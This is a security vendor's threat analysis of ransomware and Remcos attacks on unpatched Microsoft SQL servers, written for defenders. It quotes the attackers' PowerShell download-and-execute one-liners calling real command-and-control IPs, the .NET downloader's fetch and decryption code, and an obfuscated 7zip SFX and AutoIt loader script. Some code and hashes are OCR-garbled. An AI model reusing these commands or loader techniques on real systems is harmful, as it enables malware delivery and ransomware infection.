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Our X-Ops teams — SophosLabs, SecOps (Sophos Managed Threat Response [MTR] and
Sophos Rapid Response), and Sophos Al — operate in a virtuous Observe-Orient-Decide-Act
loop, building on each teams’ work to improve customer protections. A recent set of
investigations illustrates our OODA-loop process: Attacks against a pair of vulnerabilities in
Microsoft SQL were researched, documented, and addressed proactively. And, when one
enterprise found itself under a potentially similar attack, the teams worked together to
pinpoint the common denominator, minimize damage, and protect the customer... and
customers to come.

At the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in
reports of attacks against Microsoft SQL Server installations, using two venerable and long-
patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618). These
attacks leverage Remcos (a commercially available remote access trojan) and deploy
various families of ransomware including TargetCompany, aka Mallox; Globelmposter, aka
Alpha865qqz; and BlueSky.

In this report, we walk through the ways in which our teams coordinated to address this
threat, focusing on hands-on work from Sophos Managed Threat Response (MTR) and
Sophos Rapid Response. These front-line efforts have been made possible by the steady
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research work of SophosLabs and, further behind the scenes, the elective-automation aspect

of that process made possible by the humans at Sophos Al.

On our GitHub, we’ll provide details of the threat actor’s observed infrastructure and on
various indicators of compromise (loCs). In the case of information derived from the Rapid
Response engagement we discuss below, that information has already been incorporated
into our MTR service and Intercept X suite, but we’ll highlight some items in this writeup as a
matter of interest. For practitioners who might benefit from a labs-notes-style iteration of the
information we’re discussing, we’ll make that available later in our incident guide series.

Identification

The methods of ingress, malware used, and command-and-control servers accessed in the

process of this Microsoft SQL attack indicate that the same threat group is likely responsible
for multiple incidents in the first half of 2022. Sophos has observed victims in the Americas;

however, most of the victims are from Asia and the comments in some components indicate
that the threat actor could be originating from that region. We have previously observed this
threat group targeting externally exposed and unpatched SQL servers.

Initial access

During MTR’s initial investigations into this threat group, we saw them leveraging malware
infrastructure impersonating a download site for KMSAuto, a non-malicious software utility
used for evading Windows license key activations.
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Figure 1: An overview of the attack

Meanwhile, over in the world of Rapid Response, a direct view of the initial stages of an
attack is usually only seen in retrospect. In this case, the victim first noticed that something
was wrong: a full-on ransomware attack against an unprotected SQL server. Acting on their
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own, the enterprise chose to wipe and restore their systems from backup, this time installing
Intercept X. However, the server in question was lacking crucial patches, so the door
remained open to the attackers.

This oversight did not go unnoticed. A week later, the customer’s service provider warned
them that their servers were implicated in an ongoing denial-of-service attack against an
unrelated third party. The customer, by this point running Intercept X on the previously
unprotected server, hadn’t noticed any further ransomware activity... but what was
happening?

Infection Chain and SQL Exploitation

During MTR’s investigation, the team did not observe this group attempting to perform
internal lateral movement. Instead, the same post-exploit command was leveraged multiple

times to download and run different executable files before ultimately delivering ransomware:

“C:\Windows\system32\cmd.exe” /c “echo $client = New-Object
System.Net.WebClient > % TEMP%\update.ps1 & echo
$client.DownloadFile(“http://C2_Server_IP/-

malware.exe”,”% TEMP%\<random>.exe”) >> % TEMP%\update.ps1 & powershell —

ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create
“%TEMP%\<random>.exe””

The trigger for MTR’s investigation was a CryptoGuard alert on a specific file,
9YFHR4SL.exe:

Path:
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\9YFHR4SL.exe

Hash: 7d0687911€a9423310b7b83ebec9f52944ac022795¢c3b796aca5f0d2d15954b1

Analysis shows that this file in turn downloads
http://91[.]243[.144[.]105/Lvmsrqz_Phdvabki.jpg, which turns out to be the encrypted
Globelmposter/Alpha865qqz payload. The main steps are visualized in Figure 2, below:

1. A batch command creates C:\Users\MSSQL$~1\AppData\Local\Temp\update.ps1
2. PowerShell executes update.ps1

3. ps1 downloads mOgw5dj1.exe

4. exe is executed

5. Services are stopped

6. Processes are killed
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Figure 2: The main steps in the attack

The full paths of the components show they were executed from the SQL Server temporary
directory, like so:

C:\Users\MSSQL$~1\AppData\Local\Temp\update.ps1
C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\update.ps
C:\Windows\ServiceProfiles\MSSQLSERVER\AppData\Local\Temp\JBEDWO0VJ.exe

This shows that the initial access was via SQL Server. Next, the following command is
executed in the first line shown above:

“echo $client = New-Object System.Net.WebClient > % TEMP%\update.ps1 & echo
$client.DownloadFile(“http[:]//91[.]243[.]44[.]105/Lhtot.exe”,”% TEMP%\M0OQW5DJ1.exe”) >>
%TEMP%\update.ps1 & powershell -ExecutionPolicy Bypass %temp%\update.ps1 & WMIC
process call create “% TEMP%\M0OQWSDJ1.exe™
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Meanwhile, in Rapid Response’s world, a call was about to come in from the customer.
Intercept X was still holding off attack escalation there, but the situation was potentially
volatile — after all, protections are like the shields on the Enterprise; they block surprise
attacks, and they give the humans time to mount a proper defense, but no shield can hold
out forever. And the customer’s internal investigation had reached a dead end as to what
was the matter. With no visibility into what was happening, the customer knew it was time to
escalate.

Identified components

During their investigation, MTR saw that this threat group leveraged a few different
components in their recent attacks against SQL servers — some legitimate wares being
abused, some malicious by nature. These include:

o PowerShell downloader

o dotNet downloader

o TargetCompany / Mallox ransomware

e Globelmposter / Alpha865qqz ransomware
* Kill$ cleaner

o 7zip SFX installer (Autolt loader)

e Remcos remote access Trojan

In the following sections we'll step through the role each plays in this attack. (As a reminder,
the presence or use of a specific tool in any attack does not mean the tool itself is malicious;
tools such as PowerShell and 7zip are legitimate applications abused in this specific
situation.) We'll also look at an eighth component MTR discovered in a few infections, and
discuss what Rapid Response ultimately saw and did to recover the customer, facing a
determined attacker rattling around in their network.

PowerShell downloader

MTR’s investigation found very simple scripts that reach out to the download server,
download the next-stage component, and execute it:

$client = New-Object System.Net.WebClient

$client.DownloadFile(“http://91[.]243[.]44[.]142/arx-
Ikrbwika.exe”,”C:\Users\MSSQL$~1\AppData\Local\Temp\VKDA55H6.exe”)

The downloaded PE executable is usually the dotNet downloader, which in turn downloads
the final payload. This varies — either one of the ransomware samples or a Remcos RAT
variant.

dotNet downloader
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Next, PowerShell is leveraged again to run a .NET executable file that functions as a
downloader for additional attack components. We will walk through the five highlighted steps
in the diagram below.
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Figure 3: A snippet of more attack components entering the fray

In Figure 3, the sqglservr.exe process (1) runs the command line (2) that creates the
downloader:

“C:\WINDOWS\system32\cmd.exe” /c “echo $client = New-Object
System.Net.WebClient > % TEMP%\update.ps1 & echo
$client.DownloadFile(“http://91[.]243[.]44[.]142/pl-

Ukxamliyg.exe”,”% TEMP%\9ETVCRZF.exe”) >> % TEMP%\update.ps1 & powershell —
ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create

“% TEMP%\9ETVCRZF.exe™

Next, update.ps1 (3) downloads the dotNet downloader and executes it (4), and the
downloader fetches the final payload (5).

6/18


https://news.sophos.com/wp-content/uploads/2022/07/figure-03-1.jpg

private static object[] Arrays

{
get
1
return new cbject[]
{
{{byte[])typeof(WebClient).GetMethod( "DownloadData™, new Type[]
{
typeof({Uri)
1) . Inveke(new WebClient{), new object[]
new Urd{"http://91. 243 44 23/PL-Envaw.ipg")
}1).ToByte()
i
¥
}

Figure 4: The payload is acquired; note the .jpg extension for the file before it's decoded

The final payload is in obfuscated or encrypted form, so the dotNet downloader has to
decode it first. The encryption can be as simple as reversing the content of the file, orin a
typical case a XOR encryption with a hardcoded key:

internal static byte[] ToByte(this byte[] data)
{
int[] array = new int[258];
int[] array? = new int[256];
byte[] array3 = new byte[data.Length];
byte[] bytes = Enceding.UTFE.GetBytes("Uelrvneftges”);
int i;
for (i = @; i ¢ 256; i++)

array[i] = (int)bytes[i % bytes.Length]:
arraya[i] = i;

int num;
for (i = (num = B); i < 256; i++)
{
nus = (num + array2[i] + array[i]) ¥ 258;
int num2 = array2[i];
array2[i] = array2[num]:
array2[num] = num2;

int mum3;

nus = (num3 = (1 = @));:
while (i < data.Length)
{

nun3++;

num3 X= 256;

num += array2[num3];

num K= 258

int num2 = arrayZ[nums];

array2[numi] = array2[num];

arrayd[num] = num2;

int mmd g arcav?l farcav?Tmmm3l] + arcav? Maoml) £ 2587

Figure 5: Decrypting the payload
TargetCompany Ransomware (aka Mallox)

In March 2022 the MTR team investigated a case in which an externally exposed and
unpatched SQL server was compromised. Sophos CryptoGuard detected a ransomware
attack and prevented encryption of essential files, such as the SQL database files. During
the incident MTR observed the threat actor leveraging the command-and-control servers
91[.]243[.]44[.]142 and 91[.]243[.]44[.]142.
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The server at 91[.]243[.]44[.]142 had the file content shown in Figure 6, which matches that
seen on other servers examined:

Index of /

« Any=Desk.ms

RIS cxne

o arx-T7T0fdds Suadocfy.png

» ani-Xlopfexe

« arx-Xlopf Xbkgkzns.pog

« arxlll-Odkemuout_Fovwizek pog
» and33-Npeximdsx Fhuxtgxtjpe
o arxTT7-Ofdds exe

* msi-sysiem.bat

« pl-Ukxamliveexe

« pl-Ukxamlive Waxbefii.png
* Zighoyse/

Figure 6: A directory listing from the malicious server 91[.]243[.]44[.]142; Kill$ is visible near
the top of the list

The observed filepath was:
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\C258SEES8.exe

And the observed hash was:
8bb03cb1d5faf00b93612a10f24fb3afe025f59c0226a4b20b1a61fe06cd2077

A process trace revealed the following:

1 C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\C258SEE8.exe [14500]
2 C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\C258SEE8.exe [13716]
CAWINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp\C258SEES8.exe

3 C:\Windows\System32\wbem\WmiPrvSE.exe [12708]
C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding

4 C:\Windows\System32\svchost.exe [736]

C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p

5 C:\Windows\System32\services.exe [984]

6 C:\Windows\System32\wininit.exe [856]

At this point, wininit.exe appended the file extension .avast. In early February 2022, the
antimalware firm Avast published a technique to decrypt files affected by the TargetCompany
ransomware. Following the publication of that research, TargetCompany modified the
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ransomware file extension from “.mallox” to “.avast.” (They also fixed certain bugs present in
the encryption algorithm.). We have notified Avast about this.

Finally, MTR observed the following contact information and ransom note related to the
TargetCompany / Mallox infection:

B COPRTRY D CHATION - Hotepad = |
Fie BoE Forral View Hilp
o FILES ARE ENCEWFTED (1t
TO DECRYPT, FOLLOW THE INGTRUCTIONS!
To Fectver GATL you heed decrypr 1sal.
To QET The Secryst ool you showld:
1.1n the lenter include your persona] 1D Send s This [0 18 your FIFSE esal] te me!
2. CAA Flve yoe Pree Tedt for detrypt Tew 1163 (MOT YALUE) and k3310h e price Tor Seeryprion 11 Files:
Soafrer we Send you TRSTFUCEISA how D3 pay for Secrypt Toa] and after payment yeu will receive 4 Seeryprion tosl:
A we can Seirypt Tem Filed i guality the evidence that we Bave the decoser.
CONTACT WS
mal | s turaraty. con
recohe |peracaci. 11

TR, FERIOMAL IO

Figure 7: The ransomware payload’s contact information and ransom note

Two addresses are associated with this ransom note: mallox@tutanota.com and
recohelper@cock.li .

Globelmposter Ransomware (aka Alpha865qqz)

This ransomware variant creates a file called “how to back your files.exe,” which contains the
ransom note shown in Figure 8. On execution it displays:

Figure 8: The Globelmposter ransomware note

The ransomware then adds the file extension .Globeimposter-Alpha865qqz.
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One contact address, China.Helper@aol.com, is associated with this ransom note. We will
see this address again later in our walkthrough.

Kill$ cleaner

This component drops and executes a batch file into % TEMP%. This batch file stops
services and processes. It shows a series of console windows displaying the progress it is
making, as shown in Figure 9:

Figure 9: Kill$ getting busy on a victim’s services and processes

kill$.exe drops a batch file into % TEMP%. Interestingly, this file contains comment strings in
Chinese:

Figure 10: Multilingual comments hint at a possible threat source
The Chinese strings we saw can be translated as follows:

e “Restore cmd default association”
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e “NET permission settings”

¢ “mshta permission settings “

o “::FTP permission settings”

o “:wscript permission settings”

o “.:cscript permission settings”

o “:powershell permission settings”

e “::ProgramData folder permission settings”

o “::Public folder permission settings”

7zip SFX installers

Some of the payload files are 7zip SFX executables. At first these appear to have only a
single junk file, forma.xla, inside as shown in Figure 12:

Fnrusi]Seanc hdhy

Fowmna sl

Figure 11: A lonely junk file in the 7zip SFX executable... or is it?!

In reality, multiple files are present, as shown in the temporary directory created by the
dropper:

7ZipShe 000 ol A

AP dIl
Impazienza xla
Potare xla
Quixls

#  Rreederla cxe

Figure 12: It was not a lonely junk file

These installers abuse the 7zip SFX file structure. Normally an SFX file contains three
components:

o sfx : the SFX stub program
e (xt: the configuration file, including the auto-execute script
e 7z: the content of the archive to extract

These components can be observed if the archive is opened in parse mode, using the
command 7-Zip / Open Archive / # to return the results in Figure 13:

¥ Chiemg\[Seanch. 70,

Maire Sare Wodded Type Cormimed i Offsel Uinpack 5 Ferldhrs Faers
1 Kearchdi 143872 202201-2010%4 P [earch 1.0.0.0 0 144 881 g
£ 17 143 872
150 1249 sp 1447 a097 1
n 15 387 i 148 296 1867 333 3
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Figure 13: Parsing the unclean SFX file

Here we see the stub (1) and the config file (2), but instead of the archive content, there are
two additional files. (3) is a short ZIP package that contains Forma.xla, the fake / junk
content we saw in Figure 11, and (4) is the real installer 7zip archive, with this content:

T | Chtemp\ISearch. 724,72,

MName Size Packed Si.. Modified Attributes CRC Encrypted Method
S Impazienza.xla 893701 915177 2022-01-. A BAEBC1TE - Deflate
2% potare.xla Q72 8r6 2022-01-... A O9EAS499EB Deflate
22 Quixla 756 2022-01-... A 33EGI6FE - Deflate

Figure 14: Contents of the archive shown in the previous figure

The real installer (4.7z in this case) is usually in the overlay area, following the installer
script, but in some samples it is within the SFX stub program as one of the resources.

The installer config file is as follows:

;@Install@!UTF-8!

GUIMode="2"

OverwriteMode="1"

SetEnvironment="Venuto=d”

RunProgram="dllhost.exe”

RunProgram="cm%Venuto% /c cm%Venuto% < Qui.xla”
;J@InstallEnd@!

This will run the content of the Qui.xla command script. This kind of installer script has been
described in a white paper from Red Canary. It appears the criminals are ripping off the idea
from earlier attacks, including the CypherIT obfuscation from several years ago.

The script contains a slightly (intentionally) corrupted Autolt loader (Impazienzia.xla), an
Autolt script (Potare.xla), and a batch command file (Qui.xla), as shown in Figure 14.
ArrFQX.dIl is a legitimate Microsoft system component, ntdll.dll .

Qui.xla restores the Autolt loader (removes the junk string from the beginning and places the
MZ marker there), copies to Riverdela.exe.pif (not present in the SFX archive), and runs the
Autolt script with the loader.
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Set ulgKP=waitfor /t 5 uJgKP

Set KBITxjgkVmvzesEbrPREADaOmdN1CAIxL=M

tasklist /FI "imagename eq BullGuardCore.exe" 2>NUL | find /I /N "bullguardcore.exe">NUL
if %errorlevel%==0 waitfor /t 240 KBITxjgkVmvzesEbrPREADaOmdN1CAJxL

Set fKZsrmyydrahASpYruaylKhZCVQFJ=Rivederla.exe.pif

tasklist /FI "imagename eq PSUAService.exe" 2>NUL | find /I /N "psuaservice.exe">NUL

if %errorlevel%==0 Set fKZsrmyydrahASpYruaylKhZCVQFJ=autoit.exe

<nul set /p = "%KBITxjgkVmvzesEbrPREADaOmdN1CAIxL%Z" > %fKZsrmyydrahASpYruaylKhZCVQFJ%
findstr /V /R
"AFpgxEgntQeHqCthdX1pQdipUxrmtIxQwISLxbIkRycMfunOIWjCmkUTbqugABxvcjGalaTTgYaLUXTNVFQivSsQNZhxsI$"
Impazienza.xla >> %fKZsrmyydrahASpYruaylKhZCVQFJ1%

copy Potare.xla V

start %fKZsrmyydrahASpYruaylKhZCVQFJ1% V

%uJgKP%

Figure 15: Qui.xla in action
The payload is either Remcos or ransomware.

Remcos

Here, update.ps1 is executed from the SQL server temp directory (1). It reaches out to the
download server 91[.]243[.]144[.]105 (2), and downloads and executes the Remcos payload

(3).
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Figure 16: The malicious update.ps1 file in action

Again, the payload is Remcos.

Figure 17: Traces of Remcos

Remcos configuration data includes the following value written to the registry under
HKEY_CURRENT_USER\Software\Remcos-{generated_ID}\license:
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Globelmposter... Has an Imposter

Since Sophos’ data intake is extremely broad, we occasionally find unusual results that give
a fuller picture of an attack as it and its payloads evolve. Our MTR team identified one such
instance of a particular item of ransomware, a Globelmposter lookalike, in telemetry.

In this case, the downloaded payload was one of the 7zip installers.

b . """" SophosXDpS

Figure 18: The observed execution flow that installed the Globelmposter lookalike
In Figure 18 we can see the execution flow for this lookalike:

1. ps1 is executed

2. Downloads and executes
c:\windows\serviceprofiles\networkservice\appdata\local\temp\aOhnp5kn.exe

3. The installer batch file is executed from the 7zip SFX:
“C:\Windows\System32\cmd.exe” /c cmd < Chiamando.png

4. The Autolt interpreter
c:\windows\serviceprofiles\networkservice\appdata\local\temp\7zipsfx.000\doni.exe.pif
is invoked to execute the extracted script

5. Services are stopped

. Processes are killed

7. The ransom note executable, g:\factoryrecovery\how to back your files.exe is created

»
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The downloaded payload has the hash
5d0edef9ee1f3a319faad5c572b5e7097865ddbda3840d138ae65a7d829cfddf
This file was hosted on two servers:
http://91[.]243[.144[.]142/G-865-nMSamgr.exe
http://91[.]243[.144[.]130/G-865-nMSamgr.exe

Its process begins by killing an assortment of services, as seen in Figure 19:

B ller M N

Figure 19: So much killing

It then creates the ransom note shown in Figure 20. Note the use of the

China.Helper@aol.com address, which we also saw in the instance of the “real”

Globelmposter infection discussed above.
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Figure 20: The ransom note, which strongly resembles the Globelmposter ransom note
shown in Figure 8 above

Back at Rapid Response, investigators worked their case, reviewing indicators of
compromise as well as network traces specific to the client. The team found evidence that
attackers had discovered the still-unpatched servers and by that means managed to re-
access the system, but this time Intercept X was in place — swatting back the same
distinctive multiple-download attempts MTR had previously identified, over and over. The
attacker could not, and never did, succeed in lateral movement within the client’s network.
The client would never experience data exfiltration or a ransom demand on our watch.
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Rapid Response did spot a previously unnoted indicator of compromise, the anti-antimalware
tool called IOBit Unlocker. This tool aims to disable antivirus and antimalware protections
such as Intercept X. However, Intercept X won that head-to-head battle, flagging 10Bit
Unlocker as a potentially unwanted application and removing it from the client’s system
before it could execute.

The Rapid Response team continued to move ahead, noting that as MTR had previously
seen, the attacker made no visible attempts to move laterally, escalate privilege, or exfiltrate
data; most of their efforts during our engagement were, as noted above, centered on trying
to take Intercept X out of the equation. While Intercept X held the line on all that, Response’s
researchers uncovered a welter of further correlations between the activity logged on the
customer’s system and information MTR had already compiled. The smoking gun? Ongoing
traffic between the customer’s SQL server and the known-bad fake KMSAuto distribution site
— a tell knowing what we now know, but all but impossible to spot in the denial-of-service
mayhem without prior knowledge of a threat that fit the rest of the attacker’s behaviors.

With analysis completed and the cause of the trouble identified, Rapid Response could
continue its portion of the customer-protection process. The attacker was known to utilize the
two specific MS-SQL vulnerabilities named above; identifying those as unpatched on the
customer system was crucial. The team’s final report on the incident ran to 35 pages. The
heart of that was a four-page section detailing mitigations specified to protect and strengthen
the customer and to eliminate the attacker’s foothold at last. Rapid Response made an
introduction between the customer and the MTR team to continue the process of getting
back to normal, and another Response event was in the books.

Conclusion

Compromises involving multiple payloads and obfuscating behaviors are regular fare for
defenders to tackle. However, we believe that obfuscation should never come from internal
silos, or from lack of communication between teams operating under the same corporate
umbrella. We are Sophos; while the X-Ops name may be new, as you see from this glimpse
into the organization, the process of acting as one team is nothing new here.

For more information on Sophos X-Ops, please see our FAQ.
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